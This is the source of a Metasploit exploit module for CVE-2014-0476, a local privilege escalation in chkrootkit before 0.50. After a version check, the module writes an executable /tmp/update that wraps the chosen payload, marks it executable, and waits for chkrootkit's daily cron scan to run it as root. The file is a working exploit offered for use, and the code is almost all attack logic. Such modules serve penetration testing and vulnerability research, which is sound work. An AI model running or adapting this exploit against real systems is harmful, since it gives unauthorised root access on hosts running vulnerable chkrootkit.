modules/exploits/unix/local/chkrootkit.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
# This could also be Excellent, but since it requires
# up to one day to pop a shell, let's set it to Manual instead.
Rank = ManualRanking
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Chkrootkit Local Privilege Escalation',
'Description' => %q{
Chkrootkit before 0.50 will run any executable file named /tmp/update
as root, allowing a trivial privilege escalation.
WfsDelay is set to 24h, since this is how often a chkrootkit scan is
scheduled by default.
},
'Author' => [
'Thomas Stangner', # Original exploit
'Julien "jvoisin" Voisin' # Metasploit module
],
'References' => [
['CVE', '2014-0476'],
['OSVDB', '107710'],
['EDB', '33899'],
['BID', '67813'],
['URL', 'https://seclists.org/oss-sec/2014/q2/430']
],
'DisclosureDate' => '2014-06-04',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => ['shell', 'meterpreter'],
'Privileged' => true,
'Stance' => Msf::Exploit::Stance::Passive,
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 24.hours.seconds.to_i },
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('CHKROOTKIT', [true, 'Path to chkrootkit', '/usr/sbin/chkrootkit'])
])
end
def check
version = cmd_exec("#{datastore['CHKROOTKIT']} -V 2>&1")
if version =~ /chkrootkit version 0\.[1-4]/
CheckCode::Appears
else
CheckCode::Safe
end
end
def exploit
print_warning('Rooting depends on the crontab (this could take a while)')
write_file('/tmp/update', "#!/bin/sh\n(#{payload.encoded}) &\n")
cmd_exec('chmod +x /tmp/update')
register_file_for_cleanup('/tmp/update')
print_status('Payload written to /tmp/update')
print_status('Waiting for chkrootkit to run via cron...')
end
end